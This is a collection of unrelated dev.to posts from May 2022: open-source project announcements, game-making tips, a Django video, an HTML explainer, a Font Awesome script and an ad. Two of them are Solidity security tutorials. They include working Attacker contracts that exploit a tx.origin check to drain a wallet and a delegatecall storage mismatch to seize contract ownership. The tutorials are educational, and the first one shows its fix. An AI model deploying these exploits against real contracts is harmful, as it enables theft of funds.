teleren/devto huggingface dataset:
SleekwareDB - Open Source
Tags: opensource, webdev, programming, php
Published: 2022-05-16 09:46:25

> This is the first open source project I've created and it still needs a lot of help from contributors. Please feel free to view and provide feedback, suggestions, or ideas.

{% github https://github.com/SleekwareDB/sleekwaredb %}

NoSQL API with [SleekDB](https://sleekdb.github.io/). This project was created as an alternative to the existing NoSQL database services on the Internet. [SleekDB](https://sleekdb.github.io/) is an API for File-based NoSQL database management built on top of the [SleekDB](https://sleekdb.github.io/).

## About

What is SleekwareDB? SleekwareDB is a NoSQL database storage service. A database storage service that can be used for various platforms and is easy to integrate.

SleekwareDB is an Open Source project, anyone can contribute to build a better SleekwareDB for the future.

## Features

### 🗃️ Flat File Database
Easy to manage flat file JSON as database
### 🌐 **REST API Operation**
CRUD Stores and Collections with Easy REST API
### ✨ **Cross Platform**
Integrate with any Platform
### 🖥️ Self-Hosted
Install on your server with easy installation process
### ☁️ Web UI Dashboard
Manage Teams, Projects, Apps, Stores, Collection, etc with easy UI
### 🚀 Customized Your App
Feel free to customize this app, deep dive in SleekwareDB Source Code

## Requirements

- PHP ^7.4|8.0
- ext-json
- ext-mbstring

## Installation (Not Yet Available)
```bash
composer create-project sleekware/sleekware
```

## Contributing
Please to read [Code of CONDUCT](https://github.com/SleekwareDB/sleekwaredb/CODE_OF_CONDUCT.md) before start to contribute.
### ✍️ As a Technical Writer
The project requires contributors who are able to create manual presentations for users or developers. Visit [Discussions](https://github.com/SleekwareDB/sleekwaredb/discussions/categories/documentation) Page

### 👨‍💻 As a Developer
This project requires contributions from many developers to be of good use in the future.

As a developer, to be able to unite the vision and mission of the community, it's worth reading how SleekwareDB was developed and built using several technologies:

- [SleekDB](https://sleekdb.github.io) - A NoSQL Database made using PHP
- [AdminLTE](https://adminlte.io) - AdminLTE Bootstrap Admin Dashboard Template
- [RestServer](https://github.com/chriskacerguis/codeigniter-restserver) - CodeIgniter RestServer
- [Codeigniter](https://github.com/bcit-ci/CodeIgniter) -  Open Source PHP Framework (originally from EllisLab)

### 💡 As a Scientist
As an active contributor by providing practical suggestions and ideas that can be useful for the community. Visit [Discussions](https://github.com/SleekwareDB/sleekwaredb/discussions/categories/ideas) Page

Read more about [CONTRIBUTING](https://github.com/SleekwareDB/sleekwaredb/CONTRIBUTING.md)
I have created 139 games in one year by patterning my game making
Tags: gamedev, productivity
Published: 2022-05-16 09:37:00

I made [111 one-button mini-games in 2021](https://github.com/abagames/111-one-button-games-in-2021/blob/main/README.md). I also made other games besides one-button games, so the exact number of [games I made in 2021](http://www.asahi-net.or.jp/~cs8k-cyu/browser.html) would be 139.

For making many games in one year, I would need to create one game in about 2 or 3 days. For creating mini-games in a short period, it is better to make regulations of what to make and how to make it. In 2021, I started creating a game with the following regulations.

- Aim to make a game that we can easily play in a browser, like a [dinosaur jumping game on Chrome](https://en.wikipedia.org/wiki/Dinosaur_Game).
- Controls should be limited to three types that are easy to operate on a smartphone: one-button, sliding left and right, and tapping a specific position on the screen.
- The game should be a traditional game where the player only tries to get a high score.
- The maximum duration of a game is about 5 minutes, and the game becomes difficult gradually to induce players to make mistakes.
- Increasing the difficulty is done by increasing the game speed. Even if a player makes a mistake due to an increase in game speed, players are unlikely to feel that it is unreasonable.
- The code should be written in a single JavaScript file, with a size of 100 to 300 lines.
- The basic screen size is 100x100 dots, with characters as small as 6x6 dots, making it easier to create pixel art.
- Simplify the implementation of drawing the screen by limiting the objects to be drawn to only squares, lines, circles, and particles except for pixel art.
- Provide a mechanism to play the game from GitHub Pages by simply committing the code to GitHub.
- Automatically generate background music and sound effects to reduce the time and effort required to create them.
- Prepare my own game library with the above mechanisms.

{% embed https://github.com/abagames/crisp-game-lib %}

- Prepare a mechanism to take screenshots easily. After the implementation of the game is complete, post screenshots on Twitter along with the URL where we can play the game.

If you continue to create the game under the above regulations, you can mechanically go from coding to release in a short period.

The problem is to come up with ideas before coding, and this is the only thing that is difficult to formulate.

{% embed https://letsmakeagame.net/game-idea-generator/ %}

One way is to use a game idea slot machine, but this has the disadvantage of limiting the number of ideas you can come up with. We need to continue to think about the patterning of game ideation. Following a pattern even in idea generation runs the risk of losing the most enjoyable part of game creation, so it might be better to consider whether it is necessary in the first place.
Zerdesht Php Mvc's new updates
Published: 2022-05-16 09:26:39

Hi there from Zerdeşt Php Mvc v.1,

I have just uploaded some upgrades of Zerdeşt with the new features and new structure approach, on Github!

[Repository](https://twitter.com/yusufocaliskan/status/1526126159959924736?s=20&t=Ztrf3CnLqSyyKEGSozMXLg)
Windows 22, but for Web
Tags: javascript, webdev, beginners, html
Published: 2022-05-16 09:25:52

Hello!

Recently I started creating a clone of Windows 11 for web. My main focus while creating this clone was performance & features. It must work smoothly even on a low end device (like mine).
The UI isn't complete yet. I'll be working on it.
👇👇👇👇
Please try it once and if you like it drop a comment.
While making it got frustrated very times your one comment is a source of motivation for me.
It's free.
Try it---->[Windows 22 web](https://win11x.netlify.app/)
Try it---->[Windows 22 web](https://win11x.netlify.app/)
Get it---->[Windows 22 web](https://win11x.netlify.app/)

Also watch on youtube--> [Click here](https://youtu.be/rlF0s2L9t_Y)
About me!!👇👇😔😭👇👇
I'm 14 years old boy. I belongs to a middle class family😔. As i am interested in computer from beginning .I started my journey as a Web Developer and created Windows 11 clone. I makes it on my PC(Which is too much slow) with 2gb ram and 32gb HDD.You can't imagine how difficult was it to perform such heavy tasks on very old computer even i have to wait for more than 10minutes to load Visual Studio Code properly😢.
If you wanna help & support me just buy me one Coffee☕ it was a humble request😔. I will spent this on my study.[Click Here](https://www.buymeacoffee.com/rehman0)
Your one coffee give me a smile and a gift of happiness.
[Buy me a coffee](https://www.buymeacoffee.com/rehman0)
[Buy me a coffee](https://www.buymeacoffee.com/rehman0)
Careful while using tx.origin
Tags: solidity, security, bestpractice
Published: 2022-05-16 09:20:14

---series: Security Vulnerabilities---

In solidity we have two methods to access the address of caller or transaction maker, `tx.origin` and `msg.sender`. Following are the differences between both:
-  ***`tx.origin`*** - Alice -> contract_A -> contract_B; `tx.origin` = Alice
-  ***`msg.sender`*** - Alice -> contract_A -> contract_B;
`msg.sender` = contract_A 

It's important to be careful while using tx.origin, as this opens possibilities of phishing attacks. 

Let's understand this with an example:
- Alice creates a wallet contract (Victim) that accepts ETH from anyone and only lets Alice transfer/withdraw.
- in the `transfer()` function, we can see `tx.origin` is used to verify if caller was Alice.
```solidity
contract Victim {
    address owner;

    constructor() {
        owner = msg.sender; // Alice
    }

    receive() external payable {

    }

    function transfer(address _to, uint amount) external payable {
        require(tx.origin == owner, "Only owner can cause this txn");

        (bool sent,) = _to.call{value: amount}("");
        require(sent, "Send txn failed");
    }

    function getBalance() external view returns(uint) {
        return address(this).balance;
    }
}
```

The attacker can take advantage of this by scamming Alice to call `attack()` function of the Attacker contract.
- This will call `transfer()` function of the Victim contract where `tx.origin` will be equal to Alice.

```solidity
interface IVictim{
    function transfer(address _to, uint amount) external payable;
    function getBalance() external view returns(uint);
}

contract Attacker {
    address attacker;
    IVictim victimContract;

    constructor(address _victim) {
        attacker = msg.sender;
        victimContract = IVictim(_victim);
    }

    function attack() external payable { // attacker will trick Alice to call this function
        victimContract.transfer(attacker, address(victimContract).balance);
    }
}
```

Such phishing attacks can be prevented by using `msg.sender` in place of `tx.origin`.
Because even if Alice is scammed to call `attack()` function of the Attacker contract, when this will call `transfer()` function, `msg.sender` will be equal to the address of Attacker contract. Hence transaction will fail.

```solidity
contract VictimSafe {
    address owner;

    constructor() {
        owner = msg.sender;
    }

    receive() external payable {

    }

    function transfer(address _to, uint amount) external payable {
        require(msg.sender == owner, "Only owner can cause this txn");
        // changing tx.origin to msg.sender, to avoid phishing attack

        (bool sent,) = _to.call{value: amount}("");
        require(sent, "Send txn failed");
    }

    function getBalance() external view returns(uint) {
        return address(this).balance;
    }
}
```
Delegate Call - Order of Variables
Tags: solidity, security, bestpractice
Published: 2022-05-16 08:55:52

---series: Security Vulnerabilities---

It's important that we keep in mind about how order of variables matter in contracts while using delegate call.

Let's understand this with the help of following example:
- HackMe is a contract that delegate calls Lib contract to do something
- note that variable order is not same in both of these contract
```solidity
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.7.6;

contract HackMe {
    address lib;
    address public owner;
    uint someNumber;

    constructor(address _lib) {
        owner = msg.sender;
        lib = _lib;
    }

    function doStuff(uint _num) public {
        lib.delegatecall(abi.encodeWithSignature("doStuff(uint256)", _num));
    }
}

contract Lib {
    uint someNumber;

    function doStuff(uint _num) public {
        someNumber = _num;
    }
}
```

The `doStuff()` function in HackMe delegate calls `doStuff()` function in Lib. And in Lib, this function changes the first variable of the first slot, 
 which is `uint someNumber` in Lib but `address lib` in HackMe. Since delegate call changes state of caller using the delegated contract's function, this will cause change in the `address lib` in HackMe (because that's the first variable in HackMe).

Let's now see how Attacker can take advantage of this:
- Attacker will have same variable order as HackMe contract.
- Attacker will have a `doStuff()` function with same signature, which will change the owner variable (2md variable). 

**Step - I**
- Attacker will call `doStuff()` function in HackMe passing it's own address in uint form (not possible after 0.8.0) as input. 
- This will change  `address lib` value to the address of Attacker contract. 

**Step - II**
- Now Attacker will again call `doStuff()` function in HackMe with some random uint input, this time HackMe delegate calls the Attacker (because Step - I) 
- And `doStuff()` function in Attacker will change the owner variable to msg.sender(attacker address) in the HackMe. Hence high-jacking the HackMe contract.

See the following contract to understand better:
```solidity
contract Attacker {
    address Lib;
    address public owner;
    uint someNumber;

    HackMe hackMe;

    constructor(address _hackMe) {
        hackMe = HackMe(_hackMe);
    }

    function attack() external {
        hackMe.doStuff(uint(address(this)));  // -------- (I)
        hackMe.doStuff(1);  // -------- (II)
    }

    function doStuff(uint _num) public { // HackMe will delegatecall this when (II) gets execute after (I)
        owner = msg.sender; // updates owner of HackMe 
    }
}
```

The only solution to avoid such attack is the maintain the variable order in Lib, same as Hackme.
WordPress on steroids
Tags: wordpress, webdev, showdev
Published: 2022-05-16 08:52:03


Today I want to introduce you to a small project that I’ve decided to make as an open source.

So  far,  I've  been  developing  smaller  projects  on  the  WordPress  platform,  and  I've  always  looked  for  some  lighter  versions  where  I  could  be  faster,  so  **[WP-SQLite](https://github.com/stokry/wp-sqlite)**  was  created.  Simple,  WordPress  on  the  Sqltie  database. SQLite has the following noticeable features: self-contained, serverless, zero-configuration, transactional. Because of the serverless architecture, you don’t need to “install” SQLite before using it. There is no server process that needs to be configured, started, and stopped.

In addition, SQLite does not use any configuration files. SQLite allows a single database connection to access multiple database files simultaneously. This brings many nice features like joining tables in different databases or copying data between databases in a single command.

SQLite is capable of creating in-memory databases that are very fast to work with.

WordPress is much faster and secure with this kind of implementation.

**Installation**

Grab the last source code on [release page](https://github.com/stokry/wp-sqlite/releases).   After that, you can unzip the files and run a standard WordPress installation. Note that you need to enable `pdo_mysql` and after that, you can open `wp-config.php` file and replace `example.com` with your url's. 

```python
define('WP_HOME','http://example.com');
define('WP_SITEURL','http://example.com');
```
Database file already exist and you can leave that file like that, or of course, you can change if you want.

```python
define('DB_FILE', 'wpsqlite.db');
```
You  can  try  and see how everything works on a link [**WP-SQLite**](https://github.com/stokry/wp-sqlite)

Thanks.
Learn The Django REST Framework. Part 2 Creating API Views (Function Based API Views)
Tags: django, python, restapi, javascript
Published: 2022-05-16 08:37:58

{% youtube hhaYykv0K5c %}
In this video, I talk about the concept of API Views in Django REST Framework and how they are different from Django's default Views. We also walk through how to create views functions and map them onto URLs. I introduce Insomnia.
HTML a must for every Website
Published: 2022-05-16 08:28:07

## What is HTML(Hypertext Markup Language)?

Let's break down the acronym, Hypertext - Hypertext is the text displayed on a computer display or other electronic devices with references to other text and associated graphic material that the reader can immediately access. 

Markup language - Data included in an electronic document is distinct from the document's content in that it is typically not included in representations of the document for end-users, for example on paper or a computer screen, or in an audio stream

It can be deduced that HTML is a language that is used to display data on a computer that is not exactly seen as written

HTML provides the basic structure of sites, enhanced and modified by other technologies like CSS and JavaScript. Without it there'd be no websites

## Why is HTML a must?

Unlike programming languages, HTML allows content on a webpage/website to be labelled using tags also known as elements.

Without this, a text would be indistinguishable from its header or subheader, a link would be indistinguishable.

There would be a lot of chaos

![Chaos](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yuuq202gohpqb6e7wjzt.jpeg)

The tags have intuitive names such as section - a part of the website, header, li - lists, p - paragraphs, etc.

This article is possible and properly distinguished because of HTML tags. This brings us to semantic and non-semantic tags

Semantic tags pass a special meaning(data) to the browser 

We have non-semantic tags such as div(container) and span(you guessed right, a span literally)

And then we have semantic tags such as form, header, section, img(image), table, article

As you may have guessed these tags tell the what their function is which aids accessibility(another reason for HTML)

Accessibility in web design is when both the able and disabled can have access to a website not regarding the disability

One way these tags help is with Screen readers, these semantic tags help screen readers describe the website better

HTML also allows for attributes to these semantic tags for extra information to be passed, for instance, image tags(img) have an alt attribute that specifies an alternate text for an area, if the image can not be displayed. It also is what is described by screenreaders

Maybe in a second part, I'd go deeper into these things
Font Awesome fonts to Sketch.app by category
Tags: sketch, python, fontawesome, svgs
Published: 2022-05-16 08:17:47

---
title: Font Awesome fonts to Sketch.app by category
published: true
description: How to get Font Awesome font to Sketch app as library.
tags: sketch, python, fontawesome, svgs
//cover_image: https://direct_url_to_image.jpg
---

## 🙏🏻 Get the license and download files
First thing is to get the [Font Awesome pro license](https://fontawesome.com/plans)

## 🏆 The goal 
If you are like me you liked to have one source of true everything right? Imagine situation that you have components library Sketch file in Abstract version control. The components are using local icons SVG source in the same file. Thats is not a problem when you have 10-20 icons. But issue comes when you liked to have all the source from pro versions Font Awesome. You need to add all SVG files by great plugin called [Sketch Icons](https://sketchicons.com/) without any control. It looks like huge dropdown list in the Sketch Symbols selector. So what if you could make it look like organized?
 
![Insert -> Symbols ->](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ae0xhgi59odo4hnty86o.png)


## 🔨 This is how you it
![Montell Jordan - This Is How We Do It gif](https://c.tenor.com/tK3ckW0aD38AAAAC/this-is-how-we-do-it.gif)

1. Unzip the fontawesome-pro-x.x.x-web.zip
2. Add new folder named by script (or whatever)
3. Go to metadata folder and copy categories.yml syntax to clipboard and paste .yml content [YAML to JSON converter online](https://onlineyamltools.com/convert-yaml-to-json)
4. Create new file inside script by categories.json and paste JSON syntax from YAML to JSON converter to the file
5. Create new folder and named by svgs
6. Copy .svg icons from svgs fontawesome-pro-x.x.x-web root file to the new svgs folder under script
![Folder structure](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o7yqdg4e1dm6x5ajqanw.png)

7. Create read-json.py file and paste this code 

```python 
# Python program to read
# json file


import json
import os
import shutil


# Opening JSON file
f = open('./categories.json')

# Getting svgs files and folder
svgsFolder = 'svgs'
svgsFilesDirectory = os.path.join(os.path.dirname(__file__), svgsFolder)

# returns JSON object as
# a dictionary
data = json.load(f)

# Iterating through the json
# list

for category_list in data['categories']:
	for key, value in category_list.items():
			iconDircectory= os.path.join(svgsFilesDirectory, key)
			os.mkdir(iconDircectory)
			print("Directory '% s' created" % iconDircectory)
			for icon in value['icons']:
				file = str(icon) + '.svg'
				file_name = os.path.join(svgsFilesDirectory, file)
				destination = str(iconDircectory) + '/'
				print(destination)
				shutil.copy(file_name, destination)
				print("Files Moved")
# Closing file
f.close()
```
8. Run the .py code and check the How We Do It :) 
9. Now use the [Sketch Icons](https://sketchicons.com/) plugin to import the folder by one by one.

Hope you liked this! Enjoy!
Caba Innovatives | Graphic Design Courses
Published: 2022-05-16 08:16:03

Caba Innovatives offer Multimedia Animation, [Graphic Design](https://www.caba.in/courses/graphic-design-course/
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/big60x61xkgae10qzcey.png)), Video Editing, Web Development, Web Designing, Digital Marketing Courses in Delhi.